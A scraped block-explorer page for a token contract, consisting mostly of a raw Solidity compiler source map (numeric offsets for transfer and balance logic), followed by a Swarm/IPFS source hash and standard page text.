3520:578::-;3672:6;;3629:4;;-1:-1:-1;;;;;3650:28:0;;;3672:6;;3650:28;;:53;;-1:-1:-1;3697:6:0;;-1:-1:-1;;;;;3682:21:0;;;3697:6;;3682:21;3650:53;3646:153;;;3727:60;3744:18;3764:11;3777:9;3727:16;:60::i;:::-;3720:67;;;;3646:153;3813:10;;;;3809:57;;;3840:6;:14;;-1:-1:-1;;;;3840:14:0;;;3809:57;-1:-1:-1;;;;;3880:30:0;;;;;;:10;:30;;;;;;;;3876:127;;;3934:57;3951:18;3971:11;1944:8;3934:16;:57::i;3876:127::-;4030:60;4047:18;4067:11;4080:9;6578:392;-1:-1:-1;;;;;6715:34:0;;6690:4;6715:34;;;:14;:34;;;;;;:47;-1:-1:-1;6715:47:0;6707:56;;;;;;-1:-1:-1;;;;;6774:34:0;;;;;;:14;:34;;;;;:47;;6812:9;;6774:34;:47;;6812:9;;6774:47;:::i;:::-;;;;-1:-1:-1;;;;;;;6832:27:0;;;;;;:14;:27;;;;;:40;;6863:9;;6832:27;:40;;6863:9;;6832:40;:::i;:::-;;;;;;;;6917:11;-1:-1:-1;;;;;6888:52:0;6897:18;-1:-1:-1;;;;;6888:52:0;;6930:9;6888:52;;;;1342:25:1;;1330:2;1315:18;;1196:177;6888:52:0;;;;;;;;-1:-1:-1;6958:4:0;6578:392;;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;759:173::-;827:20;;-1:-1:-1;;;;;876:31:1;;866:42;;856:70;;922:1;919;912:12;856:70;759:173;;;:::o;937:254::-;1005:6;1013;1066:2;1054:9;1045:7;1041:23;1037:32;1034:52;;;1082:1;1079;1072:12;1034:52;1105:29;1124:9;1105:29;:::i;:::-;1095:39;1181:2;1166:18;;;;1153:32;;-1:-1:-1;;;937:254:1:o;1378:186::-;1437:6;1490:2;1478:9;1469:7;1465:23;1461:32;1458:52;;;1506:1;1503;1496:12;1458:52;1529:29;1548:9;1529:29;:::i;1569:328::-;1646:6;1654;1662;1715:2;1703:9;1694:7;1690:23;1686:32;1683:52;;;1731:1;1728;1721:12;1683:52;1754:29;1773:9;1754:29;:::i;:::-;1744:39;;1802:38;1836:2;1825:9;1821:18;1802:38;:::i;:::-;1792:48;;1887:2;1876:9;1872:18;1859:32;1849:42;;1569:328;;;;;:::o;1902:180::-;1961:6;2014:2;2002:9;1993:7;1989:23;1985:32;1982:52;;;2030:1;2027;2020:12;1982:52;-1:-1:-1;2053:23:1;;1902:180;-1:-1:-1;1902:180:1:o;2484:260::-;2552:6;2560;2613:2;2601:9;2592:7;2588:23;2584:32;2581:52;;;2629:1;2626;2619:12;2581:52;2652:29;2671:9;2652:29;:::i;:::-;2642:39;;2700:38;2734:2;2723:9;2719:18;2700:38;:::i;:::-;2690:48;;2484:260;;;;;:::o;2749:380::-;2828:1;2824:12;;;;2871;;;2892:61;;2946:4;2938:6;2934:17;2924:27;;2892:61;2999:2;2991:6;2988:14;2968:18;2965:38;2962:161;;3045:10;3040:3;3036:20;3033:1;3026:31;3080:4;3077:1;3070:15;3108:4;3105:1;3098:15;2962:161;;2749:380;;;:::o;3134:127::-;3195:10;3190:3;3186:20;3183:1;3176:31;3226:4;3223:1;3216:15;3250:4;3247:1;3240:15;3266:128;3333:9;;;3354:11;;;3351:37;;;3368:18;;:::i;3399:125::-;3464:9;;;3485:10;;;3482:36;;;3498:18;;:::i

Swarm Source

ipfs://bc2604af3be3f16413c75b02feebee9c280ea1558b04adf17ce913ad2e595e34
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.